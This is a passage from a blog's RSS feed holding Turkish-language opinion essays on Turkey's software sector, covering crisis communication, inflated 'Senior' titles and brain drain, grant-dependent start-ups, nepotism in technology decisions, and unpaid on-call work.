<li><em>"Tahmini toparlanma süremiz 25 dakikadır."</em></li>
<li><em>"Bir sonraki durum güncellemesini saat tam 14:45'te, sorun çözülmüş olsa da olmasa da bu kanaldan paylaşacağım."</em></li>
</ul>
<h3>Şeffaflık Güven İnşa Eder</h3>
<p>İnsanlar krizlerden korkmazlar; insanlar <strong>bilinmezlikten ve yalandan</strong> korkarlar.</p>
<p>Bir cerrah gözlerinizin içine bakıp dürüstçe <em>"Durum çok kritik ama şu an ameliyathanede her şeyi kontrol altına almaya çalışıyoruz, 20 dakika sonra tekrar bilgi vereceğim"</em> dediğinde içinizdeki o dehşet dalgası sakinleşir. O hekime güvenirsiniz.</p>
<p>Yazılımda da müşterileriniz ve yöneticileriniz kusursuz bir sistem beklemez; çünkü onlar da teknolojinin kırılabileceğini bilirler.<br>
Onların tek beklentisi; kriz anında yalan söylemeyen, teknik jargona sığınmayan, sorumluluktan kaçmayan ve soğukkanlılıkla krizi yönetebilen olgun profesyonellerle çalışmaktır.</p>
<p>Kriz anında panik bulaşıcıdır.<br>
Ama şeffaf, dürüst ve yapılandırılmış bir iletişim; en büyük felaketleri bile sarsılmaz bir sadakate dönüştürebilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>spikes-protokolu</category>
            <category>kriz-yonetimi</category>
            <category>incident-response</category>
            <category>iletisim</category>
            <category>paramedik</category>
            <category>seffaflik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/hastaya-kotu-haber-verme-protokolu-spikes-ve-musteriyeyonetime-prod-cokusu-aciklamak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Senior" Enflasyonu ve Yetenek İhracı: Türkiye’deki Yazılımcı Krizinin İki Yüzü]]></title>
            <link>http://localhost:3000/blog/post/senior-enflasyonu-ve-yetenek-ihraci-turkiyedeki-yazilimci-krizinin-iki-yuzu</link>
            <guid>senior-enflasyonu-ve-yetenek-ihraci-turkiyedeki-yazilimci-krizinin-iki-yuzu</guid>
            <pubDate>Tue, 28 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yurt dışına beyin göçü verdikçe tecrübeli mühendislerin sistemden çekilmesi ve oluşan boşluğun 1-2 yıllık geliştiricilere "Senior" unvanı dağıtılarak kapatılmaya çalışılması üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/senior-enflasyonu-ve-yetenek-ihraci-turkiyedeki-yazilimci-krizinin-iki-yuzu/thumbnail" alt=""> Ekonomide çok temel bir kural vardır: Bir devlet kasasındaki altın veya üretim karşılığı olmadan piyasaya durmaksızın para basarsa, paranın değeri sıfırlanır; geriye sadece etiketlerdeki bol sıfırlı hayaller ve hiperenflasyon kalır.</p>
<p>Türkiye teknoloji ekosistemi, son beş yılda para piyasalarındakinden çok daha tehlikeli ve sessiz bir hiperenflasyona teslim oldu: <strong>"Senior" Unvan Enflasyonu.</strong></p>
<p>LinkedIn'i açıp yerel yazılım sektörüne baktığınızda şaşkınlıktan küçük dilinizi yutarsınız. Üniversiteden 2024 yılında mezun olmuş bir gencin profilinde gururla şu yazar:<br>
<em>"Senior Full-Stack Engineer &#x26; Team Lead"</em>.<br>
Henüz iki yıldır kod yazan bir diğeri: <em>"Lead Software Architect &#x26; Tech Evangelist"</em>.</p>
<p>Ortalık unvanlardan, apoletlerden ve afili İngilizce tanımlardan geçilmiyor. Şirketler adeta bayram şekeri dağıtır gibi herkese "Senior" unvanı dağıtıyor.</p>
<p>Peki, nasıl oldu da bir zamanlar 8-10 yıllık ağır saha tecrübesi, yüzlerce prod çöküşü ve yüz binlerce satırlık sistem mimarisi gerektiren "Kıdemlilik", bir anda 18 aylık bir stajyerlik süresine indirgendi?</p>
<p>Cevap, Türkiye'nin son yıllarda yaşadığı en büyük kan kaybında gizli: <strong>Yetenek İhracı ve Beyin Göçü.</strong></p>
<h3>Masanın Boşalan Tarafı</h3>
<p>Gelin acı gerçekle yüzleşelim.<br>
Son beş yılda bu ülkede gerçekten ölçeklenme (scaling) görmüş, milyonlarca kullanıcılı sistemleri sırtlamış, veritabanı darboğazlarıyla uykusuz geceler geçirmiş ve mimari disipline sahip olan kıdemli mühendislerin ezici bir çoğunluğu bu toprakları terk etti.</p>
<p>Kimi Berlin'e, kimi Londra'ya, kimi Amsterdam'a göç etti. Kalanların büyük bir kısmı ise evinden çıkmadan ABD veya Avrupa merkezli şirketlere dövizle çalışmaya başladı. Yerel şirketlerin, kur ve enflasyon sarmalında Türk Lirası ile bu mühendislere rekabetçi bir maaş veya insani bir çalışma ortamı sunabilmesi imkânsız hale geldi.</p>
<p>Ve bir sabah, Türkiye'deki kurumsal şirketler, bankalar ve ajanslar uyandıklarında masanın karşısının tamamen boş olduğunu gördüler.</p>
<p>Ortada bir sistem vardı, canlıda çalışan yüz binlerce satırlık legacy kodlar vardı; ama o kodların dilini bilen, kriz anında neşteri nereye vuracağını kestirebilen tek bir "usta" kalmamıştı.</p>
<h3>Para Yoksa Unvan Verelim!</h3>
<p>Peki yerel yönetimler ve İK departmanları bu devasa boşluğa karşı ne yaptı?<br>
Çalışma koşullarını düzeltmek, mentörlük kültürü kurmak veya gençleri sabırla yetiştirecek bir eğitim akademisi inşa etmek yerine; Türk tipi en kolay şark kurnazlığına sarıldılar: <strong>Unvan basmak!</strong></p>
<p>Maaş bütçesi yetmiyor mu? Çocuğun unvanını <em>"Mid-Level"</em> yerine <em>"Senior"</em> yapalım.<br>
Yurt dışına kaçmasın mı? Kartvizitine <em>"Lead Architect"</em> yazalım.</p>
<p>Ve böylece, henüz kendi yazdığı kodun bellek tüketimini ölçemeyen, asenkron programlamanın temel tuzaklarını bilmeyen, bir veritabanı kilitlenmesinde ne yapacağını kestiremeyen 23-24 yaşındaki pırıl pırıl gençlerin omuzlarına devasa "Senior" apoletleri takıldı.</p>
<p>Şirketler kendilerini kandırdı: <em>"Bakın bizim de çok kıdemli bir mühendislik kadromuz var."</em><br>
Gençler kendilerini kandırdı: <em>"Ben artık kıdemli bir mühendisim."</em></p>
<p>Ta ki o kaçınılmaz ilk büyük kriz gecesi kapıyı çalana kadar.</p>
<h3>Unvan Kodu Kurtarmaz</h3>
<p>Bir gün sistem çöker. Müşteriler ayaklanır. Veritabanı yanıt vermez, kuyruklar şişer.</p>
<p>Masada oturan o 22 yaşındaki "Lead Architect"e dönersiniz. Çocuk ekrana bakar, panikler, elleri titrer. Çünkü o kriz anında arkasına sığınabileceği hiçbir LinkedIn unvanı işe yaramaz. O an ihtiyacınız olan şey kartvizitteki parlak harfler değil; o felaketi daha önce 50 kez yaşamış, nabzı 70 atan o eski kurtların soğukkanlılığıdır.</p>
<p>Unvan enflasyonu sadece şirketleri çökertmiyor; en büyük zararı bizzat o genç yazılımcılara veriyor:</p>
<ol>
<li><strong>Gelişimi Durduruyor:</strong> Kendisine 2 yılda "Senior" unvanı verilen bir genç, öğrenmeyi bırakır. <em>"Ben zaten en tepeye ulaştım"</em> kibrine kapılır. Oysa gerçek mühendislik yolculuğu tam da o yıllarda başlar.</li>
<li><strong>Kırılgan Bir Özgüven İnşa Ediyor:</strong> İlk gerçek global mülakata girdiğinde veya yurt dışından bir ekiple yan yana kod yazmaya başladığında, aslında ne kadar yetersiz bırakıldığını görür ve ağır bir depresyona sürüklenir.</li>
<li><strong>Teknik Borç Dağları Yaratıyor:</strong> Gerçek bir usta gözetiminden geçmeden, sırf "çalışıyor" diye canlıya alınan yamalı kodlar; şirketlerin geleceğini ipotek altına alan devasa bir saatli bombaya dönüşür.</li>
</ol>
<h3>Kıdem Unvanla Değil, Yaralarla Ölçülür</h3>
<p>Tıpta hiç kimse 2 yıllık bir asistana <em>"Hadi sen Senior Cerrah oldun, açık kalp ameliyatına tek başına gir"</em> demez. Çünkü orada hata doğrudan mezarlık demektir.</p>
<p>Yazılımda insan hayatı doğrudan masada görünmediği için bu unvan sefahati bu kadar kolay yapılabiliyor. Ama dolaylı olarak batan şirketler, buharlaşan milyonlarca liralık yatırımlar ve tükenen genç hayatlar aynı enkazın parçalarıdır.</p>
<p>Kıdem; LinkedIn profilinizdeki bir kelime değildir.<br>
Kıdem; prod ortamında kaç kez yere düştüğünüz, kaç felaketten sistemi sağ salim çıkardığınız ve arkanızdan gelen kaç gence rehberlik edebildiğinizle ölçülür.</p>
<p>Kendinize ve sektöre bir iyilik yapın:<br>
Ucuz unvanların sahte sarhoşluğuna kapılmayın.<br>
Apoletlerin peşinde değil; gerçek ustalığın, sabırlı tecrübenin ve o sessiz zanaatın peşinde koşun.</p>
<p>Çünkü kriz anında sizi kurtaracak olan şey unvanınız değil; kodun başında akıttığınız o gerçek terdir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>senior-enflasyonu</category>
            <category>beyin-gocu</category>
            <category>turkiye</category>
            <category>yazilim-sektoru</category>
            <category>kariyer</category>
            <category>ekosistem</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/senior-enflasyonu-ve-yetenek-ihraci-turkiyedeki-yazilimci-krizinin-iki-yuzu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'de Start-up Kültürü: "Girişimcilik" mi, "Hibe ve Ajansçılık" mı?]]></title>
            <link>http://localhost:3000/blog/post/turkiyede-start-up-kulturu-girisimcilik-mi-hibe-ve-ajanscilik-mi</link>
            <guid>turkiyede-start-up-kulturu-girisimcilik-mi-hibe-ve-ajanscilik-mi</guid>
            <pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Silikon Vadisi modellerini şeklen kopyalayıp ofise langırt masası koyarak girişimci olunmuyor. Gerçek bir ürün geliştirmek yerine devlet hibeleri ve ajans işleriyle dönen "çakma start-up" ekosisteminin anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyede-start-up-kulturu-girisimcilik-mi-hibe-ve-ajanscilik-mi/thumbnail" alt=""> Türkiye'deki herhangi bir Teknokent veya kuluçka merkezinin kapısından içeri adım attığınızda, sizi karşılayan o tanıdık, parlak ve son derece yapay sahneyi hepimiz çok iyi biliriz:<br>
Açık ofisler, tavandan sarkan endüstriyel sarı lambalar, cam duvarlara yapıştırılmış rengarenk post-it kâğıtları, köşede bir langırt veya masa tenisi masası, armut koltuklar ve kahve makinesinin başında toplanmış heyecanlı gençler...</p>
<p>Havada yoğun bir Silikon Vadisi kokusu vardır: <em>"Disrupt ediyoruz", "Scale edeceğiz", "Pre-seed turundayız", "Pivota hazırlanıyoruz"...</em></p>
<p>Kulağa ne kadar havalı ve küresel geliyor, değil mi? Sanki Palo Alto'da, Y Combinator'ın garajında yeni bir Stripe veya Airbnb doğuyormuş gibi.</p>
<p>Ama o cam kapıyı kapatıp şirketin finansal gerçeklerine, gelir tablolarına ve kod tabanına yakından baktığınızda; karşınıza çıkan şey bir teknoloji girişimi değil, trajikomik bir <strong>"Şark Tipi Hibe ve Ajansçılık Tiyatrosu"dur.</strong></p>
<h3>"Grantpreneur" (Hibe Avcıları) Çağı</h3>
<p>Gelin açık konuşalım.<br>
Türkiye'deki binlerce sözde "start-up"ın çok büyük bir kısmının geliştirdiği ürün, gerçek dünyadaki hiçbir müşterinin umrunda bile değildir.</p>
<p>Üç yıldır kurulan o "devrimsel" yapay zeka platformunun henüz tek bir ödeyen müşterisi (paying customer) yoktur. Ürünün pazarda bir karşılığı (Product-Market Fit) yoktur. Sistem gerçek bir kullanıcı yükü görmemiştir.</p>
<p>Peki bu şirketler yıllardır o lüks ofislerde nasıl hayatta kalıyor, o mühendislerin maaşları nasıl ödeniyor?</p>
<p>Cevap basittir: <strong>TÜBİTAK, KOSGEB ve Kalkınma Ajansı Destekleri.</strong></p>
<p>Türkiye'de son yıllarda <em>"Girişimci"</em> kılığında dolaşan ama aslında tam zamanlı birer <strong>"Hibe Avcısı" (Grantpreneur)</strong> haline gelmiş koca bir kitle türedi. Bu ekiplerin en büyük uzmanlığı yazılım mimarisi veya ürün yönetimi değildir; onların asıl uzmanlığı devlet teşvik şartnamelerinin arasına süslü akademik kelimeler serpiştirmek, komisyon üyelerini etkileyecek PDF raporları hazırlamak ve her yıl yeni bir hibe paketiyle şirketin ömrünü 12 ay daha uzatmaktır.</p>
<p>Bir proje biter, hibe tükenir; hemen yeni bir dosya açılır: <em>"Bu kez blokzincir tabanlı tarım yapay zekası yapıyoruz!"</em><br>
Yine hibe alınır, yine faturalar kesilir ama ortada yine çalışan, satılan tek bir satır gerçek ürün yoktur.</p>
<p>Bu bir inovasyon ekosistemi değildir; bu, kamu kaynaklarının tatlı suyuna hortum bağlamış birer suni teneffüs organizasyonudur.</p>
<h3>Gündüz "Start-up", Gece "Merdiven Altı Ajans"</h3>
<p>Hibe avcısı olmayan diğer start-up'ların düştüğü ikinci büyük tuzak ise <strong>"Gizli Ajansçılık"tır.</strong></p>
<p>Ekip bir SaaS (hizmet olarak yazılım) ürünü geliştirmek üzere yola çıkmıştır. Ancak Türkiye'de risk sermayesi (Venture Capital) sığ olduğu ve ürün geliştirmek sabır istediği için kasa hızla boşalır.</p>
<p>Ve bir gün kurucu ortak masaya oturur: <em>"Arkadaşlar, kasada para bitti. Bir tanıdığın inşaat firmasına web sitesi ve muhasebe programı yazacağız. 2 aylık bir iş, paramızı alıp hemen kendi ürünümüze döneriz."</em></p>
<p>O an, o start-up'ın ölüm fermanı imzalanmış olur.</p>
<p>Çünkü o 2 aylık iş asla 2 ayda bitmez. Ardından başka bir müşterinin mobil app işi gelir, sonra bir e-ticaret entegrasyonu...<br>
Ve sonuçta; gündüz yatırımcı sunumlarında <em>"Biz küresel bir B2B SaaS platformuyuz"</em> diye sunum yapan, geceleri ise müşteriden 5 bin lira tahsil edebilmek için saatlerce WhatsApp'ta kavga eden yorgun, kafası karışık ve tükenmiş birer fason yazılım atölyesine dönüşürler.</p>
<p>Kendi ürünlerinin kodu deponun köşesinde paslanır; mühendisler ise dışarıdan gelen fason biletlerin altında ezilip gider.</p>
<h3>Masa Tenisi Masası Google Yapmaz</h3>
<p>Türkiye'deki start-up kültürünün en büyük yanılgısı; Silikon Vadisi'nin <strong>sonuçlarını</strong>, başarının <strong>sebebi</strong> zannetmesidir.</p>
<p>Ofise langırt masası koyarak, çalışanlara "esnek çalışma" adı altında armut koltuk vererek ve İngilizce terimlerle konuşarak Google veya Meta olunmaz. Google'ı Google yapan şey ofisindeki ücretsiz atıştırmalıklar değildi; dünyanın en zeki mühendislerinin geliştirdiği, arkasında sarsılmaz bir matematik yatan algoritmik üstünlük ve acımasız ürün odağıydı.</p>
<p>Biz ise özü kaçırıp sadece şekli kopyaladık.<br>
Sonuç? Sahnede fırtınalar estiren ama fatura kesemeyen zombi şirketler.</p>
<h3>Gerçek Girişimcilik Nerede Başlar?</h3>
<p>Gerçek teknoloji girişimciliği; yatırımcı sunumundan sunumuna koşup kartvizit dağıtmak değildir.<br>
Gerçek girişimcilik; hibe formları doldurmakla da başlamaz.</p>
<p>Gerçek girişimcilik; <strong>bir insanın veya bir şirketin kanayan gerçek bir yarasını bulmak, o yarayı en sade ve sağlam teknolojiyle iyileştirmek ve o insanın helal parasını tahsil edebilme cesaretini göstermektir.</strong></p>
<p>Tek bir ödeyen müşterinin cebinden çıkan 100 dolar; devletten aldığınız 1 milyon liralık karşılıksız hibeden bin kat daha değerlidir. Çünkü o 100 dolar, piyasanın sizin emeğinize verdiği gerçek bir onay damgasıdır.</p>
<p>Langırt oynamayı bırakın.<br>
Hibe dosyalarını kapatın.<br>
Ve kendinize o en acımasız soruyu sorun:<br>
<em>"Eğer devlet desteği olmasaydı, benim bu yazdığım yazılıma dünyada tek bir kişi bile 10 dolar verir miydi?"</em></p>
<p>Eğer bu sorunun cevabı "Hayır" ise; yaptığınız şey girişimcilik değil, sadece çok pahalı ve süslü bir hobidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>startup</category>
            <category>girisimcilik</category>
            <category>hibe</category>
            <category>turkiye</category>
            <category>ajans</category>
            <category>urun-odaklilik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyede-start-up-kulturu-girisimcilik-mi-hibe-ve-ajanscilik-mi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yazılımda "Tanıdık" Mantığı: Liyakat vs. Referans Ağları]]></title>
            <link>http://localhost:3000/blog/post/yazilimda-tanidik-mantigi-liyakat-vs-referans-aglari</link>
            <guid>yazilimda-tanidik-mantigi-liyakat-vs-referans-aglari</guid>
            <pubDate>Sun, 26 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kurumsal şirketlerde ve yerel pazarda teknolojik kararların teknik rasyonellikle değil; ilişkiler, tanıdıklar ve çıkar ağları üzerinden alınmasının getirdiği mimari çürüme üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yazilimda-tanidik-mantigi-liyakat-vs-referans-aglari/thumbnail" alt=""> Bilgisayar bilimleri dünyasına ilk adım attığınızda, bu mesleğe aşık olmanızın en saf ve asil sebebi nedir biliyor musunuz?<br>
<strong>Acımasız, tavizsiz ve katıksız bir liyakate (meritokrasiye) dayanmasıdır.</strong></p>
<p>Bir kod yazdığınızda; derleyici (compiler) sizin hangi üniversiteden mezun olduğunuza, babanızın kim olduğuna, hangi siyasi partiye oy verdiğinize veya kimin yeğeni olduğunuza bakmaz. Eğer bir parantezi yanlış kapattıysanız, dünyanın en zengin insanı da olsanız o kod derlenmez. Eğer algoritmanız <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n^2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> karmaşıklığındaysa ve veritabanını kilitliyorsa, arkasında hangi holding olursa olsun o sunucu çöker.</p>
<p>Bilgisayar bilimi insan zaaflarından arınmış, kuralları matematik tarafından çizilmiş steril bir adalet evrenidir.</p>
<p>Ama ne yazık ki, terminalden başınızı kaldırıp Türkiye'deki kurumsal teknoloji sektörünün, yazılım ihalelerinin ve şirket yönetimlerinin dünyasına adım attığınızda; o steril matematik evreni bir anda buharlaşır.</p>
<p>Yerini bu toprakların en kadim ve en çürütücü virüsüne bırakır: <strong>"Bizim Çocuk" Mantığı ve Feodal Referans Ağları.</strong></p>
<h3>Mimariyi İhtiyaç Değil, İlişkiler Belirler</h3>
<p>Türkiye'deki büyük bir kurumsal şirkette veya kamuya iş yapan bir yapıda teknoloji kararlarının nasıl alındığını hiç yakından izlediniz mi?</p>
<p>Normalde rasyonel bir dünyada süreç şöyle işlemelidir: Şirketin bir problemi vardır, mühendislik ekibi toplanır, farklı teknolojilerin kıyaslaması (benchmarks) yapılır, maliyet ve performans analiz edilir ve en doğru araç seçilir.</p>
<p>Peki bizde gerçekte ne olur?</p>
<p>Masaya oturulur. Şirketin CTO'su veya Genel Müdür Yardımcısı der ki:<br>
<em>"Biz bulut altyapısı olarak X firmasıyla, kurumsal yazılımda da Y firmasıyla çalışacağız."</em></p>
<p>Mühendisler şaşırır: <em>"Ama efendim, Y firmasının çözümü bizim işimize hiç uymuyor, inanılmaz hantal ve maliyeti üç katı. Açık kaynaklı Z çözümüyle bu işi 2 ayda ve onda bir fiyata çözeriz."</em></p>
<p>Yönetici bıyık altından gülümser. Çünkü o Z çözümünün bir komisyonu yoktur. Çünkü Y firmasının Türkiye genel müdürü, yöneticinin üniversiteden oda arkadaşıdır. Çünkü hafta sonu beraber golf oynanmıştır, çünkü ihaleyi alan ajansın yönetim kurulu üyesi <em>"bizim tanıdıktır"</em>.</p>
<p>Ve sonuç? Şirket milyonlarca liralık lisans paraları öder. Yıllarca çalışmayan, personelin hayatını zindana çeviren ucube sistemlerle boğuşulur.</p>
<p>Türkiye'de en iyi mimari değil; <strong>kararı veren yöneticiye en yakın olan teknoloji kazanır.</strong></p>
<h3>GitHub Profili vs. "Kartvizit Torpili"</h3>
<p>Aynı liyakatsizlik virüsü, istihdam süreçlerinin de can damarını kesmiş durumdadır.</p>
<p>Bir yanda 22 yaşında pırıl pırıl bir genç vardır. Anadolu'nun bir şehrinde kendi imkânlarıyla gecesini gündüzüne katmış, GitHub profilini açık kaynak projelerle doldurmuş, Linux çekirdeğini hatmetmiş, İngilizce dokümanları yutmuş, gerçek bir mühendislik tutkusuyla yanan bir cevher. İşe başvurur; ama İK'nın otomatik filtresini veya torpil bariyerini aşamaz. CV'sine bakılmaz bile.</p>
<p>Diğer yanda ise yöneticinin askerlik arkadaşının yeğeni vardır. İki satır kod yazmaktan acizdir, temel veri yapılarından habersizdir ama mülakata <em>"falan beyin referansıyla"</em> girer. Ve iki gün sonra şirkete "Senior Yazılım Uzmanı" olarak atanır.</p>
<p>Sonra ne olur?<br>
O liyakatli genç, ülkeye ve sektöre küser. İlk fırsatta yurt dışına kaçmanın yollarını arar.<br>
Şirkette kalan o "tanıdık" ise sistemin en kritik yerinde hatalar üretmeye başlar. Ama kimse ona dokunamaz; çünkü arkasında görünmez bir akraba zırhı vardır. O hatanın faturasını ise gece yarısı uykusuz kalarak sistemi kurtarmaya çalışan diğer dürüst mühendisler öder.</p>
<h3>Çürümenin Bedeli Ağır Olur</h3>
<p>Liyakatsizlik sadece etik bir problem değildir; <strong>teknik bir iflastır.</strong></p>
<p>Siz bir cerrahı "tanıdık" diye ameliyata alırsanız, hasta masada kalır.<br>
Siz bir yazılım mimarisini veya ekibini "ilişkiler" üzerinden kurarsanız; günün birinde o sistem canlıda çöker ve altında tüm şirket ezilir.</p>
<p>Yıllarca feodal ilişkilerle, şişirilmiş ihalelerle ve tanıdık şirketlerle ayakta tutulan devasa yapıların; gerçek bir küresel krizde veya yabancı bir rakiple karşılaştıklarında nasıl kâğıttan kaplanlar gibi dağıldığını defalarca gördük.</p>
<p>Çünkü sunucu işlemcisi torpil tanımaz.<br>
Network paketleri kartvizite saygı duymaz.<br>
Bellek sızıntısı akrabalık bağı dinlemez.</p>
<p>Eğer bu ülkeden gerçekten dünya çapında bir teknoloji ekosistemi çıkmasını istiyorsak; o karanlık referans ağlarını, o sahte ahbap-çavuş ilişkilerini terminalin kapısında bırakmak zorundayız.</p>
<p>Masaya oturduğunuzda kimin yeğeni olduğuna değil; kodun kalitesine, mühendislik namusuna ve dürüst emeğe bakın.</p>
<p>Çünkü sistemi ayakta tutan şey tanıdıklar değil; o kodun arkasındaki saf ve lekesiz liyakattir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>liyakat</category>
            <category>referans</category>
            <category>turkiye</category>
            <category>kurumsal-kultur</category>
            <category>sektor-elestirisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yazilimda-tanidik-mantigi-liyakat-vs-referans-aglari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Gece Vardiyası ve Ücretsiz Mesai: Türkiye'de "Sorumluluk" Adı Altında Sömürü]]></title>
            <link>http://localhost:3000/blog/post/gece-vardiyasi-ve-ucretsiz-mesai-turkiyede-sorumluluk-adi-altinda-somuru</link>
            <guid>gece-vardiyasi-ve-ucretsiz-mesai-turkiyede-sorumluluk-adi-altinda-somuru</guid>
            <pubDate>Sat, 25 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Esnek çalışma saatlerinin Türkiye'de "24 saat erişilebilir olma" şeklinde algılanması. Hafta sonu patlayan prod için aranan yazılımcıya mesai ödenmemesi ve tükenmişliğin sıradanlaşması üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gece-vardiyasi-ve-ucretsiz-mesai-turkiyede-sorumluluk-adi-altinda-somuru/thumbnail" alt=""> İş ilanlarında veya mülakatlarda İK uzmanlarının ve şirket yöneticilerinin gözleri parlayarak kurduğu o sihirli cümleyi hepimiz ezbere biliriz:<br>
<em>"Bizde esnek çalışma saatleri (flexible hours) uygulanıyor. Saat 9-5 kalıplarına inanmıyoruz, önemli olan işin bitmesi."</em></p>
<p>Kulağa ne kadar çağdaş, ne kadar Avrupai ve özgürlükçü geliyor, değil mi?</p>
<p>Medeni bir dünyada esnek çalışma saatinin tanımı çok basittir: İster sabah 7'de başla öğleden sonra 3'te bitir, ister gece çalış; ama haftalık 40 saatlik yasal emek sınırını aşma. İşini yap ve geri kalan zamanda kendi hayatını yaşa.</p>
<p>Peki, Türkiye şartlarına geldiğimizde bu kavram nasıl bir ucubeye dönüştü?</p>
<p>Türkiye'deki yazılım ve teknoloji ekosisteminde "Esnek Çalışma"; <strong>mesainin sınırlarının tamamen ortadan kaldırılması ve yazılımcının haftanın 7 günü, günün 24 saati şirketin tapulu mülkü haline getirilmesi</strong> demektir.</p>
<h3>Gece 02:30: "Ufak Bir Şey Var, Bakabilir misin?"</h3>
<p>Cuma akşamı mesainizi bitirmiş, sevdiklerinizle oturmuş dinleniyorsunuzdur.<br>
Saat gece 02:30. Telefonunuz çalar ya da Slack'ten bildirim düşer:<br>
<em>"Canım kusura bakma rahatsız ediyorum, canlıda ufak bir sorun var da müşteriler şikayet ediyor, bir bakıver sana zahmet."</em></p>
<p>O "ufak sorun" asla ufak değildir. Bilgisayarı açarsınız. Veritabanı şişmiştir, üçüncü parti bir API patlamıştır. Gece 02:30'da başladığınız debug seansı, sabah ezanı okunurken, saat 06:00'da kan çanağına dönmüş gözlerle hotfix atılarak biter.</p>
<p>Peki sonra ne olur?</p>
<p>Pazartesi günü geldiğinde kimse size <em>"Sen cuma gecesi şirket için 4 saat uykusuz kaldın, işte fazla mesai ücretin"</em> demez. Kimse <em>"Bugün dinlen, işe gelme"</em> demez. Hatta sabah saat 09:30'daki "Daily Scrum" toplantısına iki dakika geç kalsanız, aynı yönetici kaşlarını çatarak size hesap sorar.</p>
<p>O geceki emeğiniz ne olmuştur?<br>
O emek, şirketin o meşhur manevi kasasına hibe edilmiştir. Adı da <strong>"Mühendislik Sorumluluğu"</strong> ve <strong>"Aidiyet Duygusu"</strong> konulmuştur.</p>
<h3>Paramedik Nöbeti vs. Yazılımcı Köleliği</h3>
<p>Bir paramedik olarak 112 ambulansında 24 saatlik nöbet sisteminde çalıştım.<br>
Evet, 24 saat boyunca uyumazsınız. Kanla, krizle ve ölümle savaşırsınız.</p>
<p>Ama o sistemin arkasında çok net, yazılı ve tavizsiz bir hukuk vardır:</p>
<ul>
<li>Nöbete girdiğiniz saat bellidir, çıktığınız saat bellidir.</li>
<li>Tuttuğunuz her bir fazla saatin nöbet ücreti ve risk tazminatı kuruşu kuruşuna ödenir.</li>
<li>Ve en önemlisi: 24 saatlik nöbetten çıktığınız an, devlet size kanunen <strong>en az 48 saat kesintisiz dinlenme hakkı</strong> tanır. O 48 saat boyunca hiç kimse sizi arayamaz, hiç kimse <em>"Hadi gel bir vakaya daha bakıver"</em> diyemez. Çünkü yorgun bir sağlıkçının bir sonraki hastayı öldüreceğini herkes bilir.</li>
</ul>
<p>Peki yazılım dünyasında ne oluyor?</p>
<p>Gece 04:00'e kadar prod sunucusunu ayakta tutmak için ter döken yazılımcıdan; sabah saat 09:00'da kamerasını açıp gülücükler saçarak yeni sprint biletlerini planlaması bekleniyor!</p>
<p>Yorgun bir beynin ertesi gün yazacağı kodun yeni facialar doğuracağını kimse umursamıyor. Çünkü bu sektörde beden ve zihin, tükenene kadar sömürülebilecek bedava birer kaynak olarak görülüyor.</p>
<h3>"Biz Burada Bir Aileyiz" Ninnisi</h3>
<p>Bu ücretsiz sömürü çarkının en zehirli yakıtı, o meşhur kurumsal manipülasyondur: <em>"Biz bir aileyiz."</em></p>
<p>Sizden hafta sonu çalışmanız istendiğinde, bayram tatilinde laptop başında nöbet tutmanız beklendiğinde hep aynı duygu sömürüsü devreye sokulur: <em>"Şirketimiz zor bir dönemden geçiyor, hepimiz elimizi taşın altına koymalıyız."</em></p>
<p>İyi de, şirket yıl sonunda rekor kâr açıkladığında veya milyonlarca dolarlık yatırım aldığında o kârı aile üyeleri gibi eşit paylaşıyor muyuz? Hayır. O kâr kurucuların ve hissedarların kasasına giriyor; yazılımcıya ise sadece bir teşekkür e-postası ve belki ofiste ısmarlanan soğuk bir pizza düşüyor!</p>
<p>İş kâra gelince katıksız bir kapitalist şirket; iş fedakarlığa ve gece uykusuz kalmaya gelince "fedakar bir aile"... Bu ikiyüzlülüğe artık dur demek zorundayız.</p>
<h3>Sınır Çizmek Profesyonelliktir</h3>
<p>Bir insanın mesai saatleri dışında bilgisayarını kapatması, hafta sonu gelen şirket aramalarına bakmaması "sorumsuzluk" veya "tembellik" değildir.<br>
Bu, <strong>ruh sağlığını ve mesleki sürdürülebilirliğini koruma disiplinidir.</strong></p>
<p>Eğer bir şirketin sistemleri geceleri sürekli çöküyorsa; bunun çözümü mühendislerin gecelerini çalmak değildir. Bunun çözümü; sağlam bir altyapı kurmak, nöbet tutan mühendise yasal nöbet ücretini (On-Call Compensation) ödemek ve ertesi gün ona dinlenme izni vermektir.</p>
